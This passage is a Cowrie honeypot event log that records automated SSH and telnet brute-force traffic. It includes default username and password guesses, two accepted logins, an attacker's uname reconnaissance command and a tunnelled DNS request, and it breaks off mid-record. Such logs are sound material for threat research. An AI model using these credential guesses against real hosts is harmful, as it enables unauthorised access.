{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:10.986688Z","src_ip":"124.155.125.131","session":"d0a26dacb040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47942,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b4e9057c04f","protocol":"telnet","message":"New connection: 152.42.224.71:47942 (10.17.0.5:23) [session: 0b4e9057c04f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:11.331109Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":44156,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c588d2c162e","protocol":"ssh","message":"New connection: 45.156.87.204:44156 (159.203.135.109:22) [session: 1c588d2c162e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:11.916855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:12.105577Z","src_ip":"45.156.87.204","session":"1c588d2c162e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:12.109859Z","src_ip":"45.156.87.204","session":"1c588d2c162e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:12.543213Z","src_ip":"45.156.87.204","session":"1c588d2c162e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47950,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c3e7a61e112","protocol":"telnet","message":"New connection: 152.42.224.71:47950 (10.17.0.5:23) [session: 7c3e7a61e112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:13.510476Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:13.627455Z","src_ip":"45.156.87.204","session":"1c588d2c162e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47952,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c117caa829e","protocol":"telnet","message":"New connection: 152.42.224.71:47952 (10.17.0.5:23) [session: 0c117caa829e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:15.665736Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54558,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbc7bad76eb0","protocol":"ssh","message":"New connection: 45.156.87.204:54558 (159.203.135.109:22) [session: bbc7bad76eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:15.743240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:15.749350Z","src_ip":"45.156.87.204","session":"bbc7bad76eb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:15.835334Z","src_ip":"45.156.87.204","session":"bbc7bad76eb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:16.088431Z","src_ip":"45.156.87.204","session":"bbc7bad76eb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.98810577392578,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:16.683400Z","src_ip":"152.42.224.71","session":"8b536dd2f6ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:17.175625Z","src_ip":"45.156.87.204","session":"bbc7bad76eb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.22210383415222,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:17.592194Z","src_ip":"152.42.224.71","session":"acc66cd1f273","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54572,"dst_ip":"159.203.135.109","dst_port":22,"session":"1836911fa99d","protocol":"ssh","message":"New connection: 45.156.87.204:54572 (159.203.135.109:22) [session: 1836911fa99d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:19.145127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:19.149781Z","src_ip":"45.156.87.204","session":"1836911fa99d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:19.231548Z","src_ip":"45.156.87.204","session":"1836911fa99d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:19.479988Z","src_ip":"45.156.87.204","session":"1836911fa99d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:20.565295Z","src_ip":"45.156.87.204","session":"1836911fa99d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54586,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d606e7d1225","protocol":"ssh","message":"New connection: 45.156.87.204:54586 (159.203.135.109:22) [session: 1d606e7d1225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:22.454967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:22.462986Z","src_ip":"45.156.87.204","session":"1d606e7d1225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27572,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cb49f645cab","protocol":"ssh","message":"New connection: 87.251.64.176:27572 (10.17.0.5:22) [session: 3cb49f645cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:22.488823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:22.493827Z","src_ip":"87.251.64.176","session":"3cb49f645cab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:22.545849Z","src_ip":"45.156.87.204","session":"1d606e7d1225","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:22.591934Z","src_ip":"87.251.64.176","session":"3cb49f645cab","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:22.881488Z","src_ip":"87.251.64.176","session":"3cb49f645cab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:22.983762Z","session":"3cb49f645cab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:23.081555Z","src_ip":"87.251.64.176","session":"3cb49f645cab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:23.177167Z","src_ip":"45.156.87.204","session":"1d606e7d1225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:23.185573Z","src_ip":"87.251.64.176","session":"3cb49f645cab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:24.262702Z","src_ip":"45.156.87.204","session":"1d606e7d1225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50188,"dst_ip":"10.17.0.5","dst_port":23,"session":"76ea315641a3","protocol":"telnet","message":"New connection: 152.42.224.71:50188 (10.17.0.5:23) [session: 76ea315641a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:25.015089Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56308,"dst_ip":"159.203.135.109","dst_port":22,"session":"89937d5571f4","protocol":"ssh","message":"New connection: 45.156.87.204:56308 (159.203.135.109:22) [session: 89937d5571f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:26.185466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:26.189863Z","src_ip":"45.156.87.204","session":"89937d5571f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:26.272126Z","src_ip":"45.156.87.204","session":"89937d5571f4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:26.519010Z","src_ip":"45.156.87.204","session":"89937d5571f4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:26.725677Z","src_ip":"45.156.87.204","session":"89937d5571f4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:26.728743Z","src_ip":"45.156.87.204","session":"89937d5571f4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:26.816931Z","src_ip":"45.156.87.204","session":"89937d5571f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:26.821806Z","src_ip":"45.156.87.204","session":"89937d5571f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":51596,"dst_ip":"159.203.135.109","dst_port":22,"session":"03ef757a1bb8","protocol":"ssh","message":"New connection: 94.26.106.229:51596 (159.203.135.109:22) [session: 03ef757a1bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:27.693206Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:27.784476Z","src_ip":"94.26.106.229","session":"03ef757a1bb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.95402431488037,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:28.285020Z","src_ip":"152.42.224.71","session":"0b4e9057c04f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56316,"dst_ip":"159.203.135.109","dst_port":22,"session":"d04f36bfaf76","protocol":"ssh","message":"New connection: 45.156.87.204:56316 (159.203.135.109:22) [session: d04f36bfaf76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:29.630469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:29.635753Z","src_ip":"45.156.87.204","session":"d04f36bfaf76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],